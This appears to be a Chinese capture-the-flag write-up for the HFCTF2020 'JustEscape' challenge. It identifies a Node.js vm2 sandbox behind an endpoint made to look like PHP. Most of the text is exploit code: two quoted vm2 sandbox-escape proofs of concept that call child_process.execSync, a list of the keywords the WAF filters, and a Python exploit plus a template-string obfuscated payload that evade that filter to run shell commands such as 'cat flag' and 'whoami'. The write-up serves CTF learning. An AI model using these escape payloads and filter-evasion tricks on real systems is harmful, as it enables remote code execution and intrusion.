复现环境:
https://buuoj.cn/challenges#[HFCTF2020]JustEscape
https://www.ctfhub.com/#/challenge
解题过程:
访问题目,根目录页面存在两个代码示例,同时注意到两个提示,注意编码和真的是PHP嘛
数学运算
code: (2+6-7)/3
run online: /run.php?code=(2%2b6-7)/3;
Ouput: 0.3333333333333333注意编码 =.=
时间戳
code: new Date();
run online: /run.php?code=new%20Date();
Ouput: Fri Nov 22 2019 15:39:22 GMT+0800 (China Standard Time)真的是 PHP 嘛
直接访问这个接口/run.php?code=
,发现源码是php的利用的是eval函数,考虑到上面提示这个php存疑,这个函数再PHP和Node.js都有
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>
多这个接口进行测试,运行代码 run.php?code=Error().stack
根据报错信息Node.js,
js中捕获异常堆栈信息—Error.stack
https://www.bookstack.cn/read/node-in-debugging/3.3ErrorStack.md
发现是 vm2 的沙盒逃逸问题
Node.js 常见漏洞学习与总结
Error
at vm.js:1:1
at Script.runInContext (vm.js:131:20)
at VM.run (/app/node_modules/vm2/lib/main.js:219:62)
at /app/server.js:51:33
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at next (/app/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at /app/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)
https://github.com/patriksimek/vm2/issues/225 搜索可得 vm2 最新沙盒逃逸 poc
One can break out of the sandbox via:
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
And another more game breaking one:
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
但在直接使用时发现存在 waf:

探测 waf 发现程序过滤了以下关键字:
['for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function', '+', '"',''']
绕过 waf,并根据 poc 改写 exp.py ,获取 flag
import requests
base_url = "http://x"
url = base_url + '/run.php?code=(()=%3E{%20TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`]%20=%20f=%3Ef[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,`%20`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))();%20try{%20Object[`preventExtensions`](Buffer[`from`](``))[`a`]%20=%201;%20}catch(e){%20return%20e[`a`](()=%3E{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat%20flag`)[`toString`]();%20}%20})()'
response = requests.get(url)
print(response.text)
上面是官方writeup给的方法,构造的绕过不太好理解,是通过下面方式构造的
f.constructor("return process")();
f[[c
,o
,n
,s
,t
,r
,u
,c
,t
,o
,r
]join
]([r
,e
,t
,u
,r
,n
,,
p
,r
,o
,c
,e
,s
,s
]join
)();
我在网上又看到了另一种绕过方式,比如这里 prototype 被过滤了,我们可以这样书写
`${`${`prototyp`}e`}`
这样来改写我们的 payload,将所有被过滤的关键词用这种方式转换,同时结合数组调用来绕过过滤保证正确调用。
Payload:
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
}
})()
提交获得flag

网友评论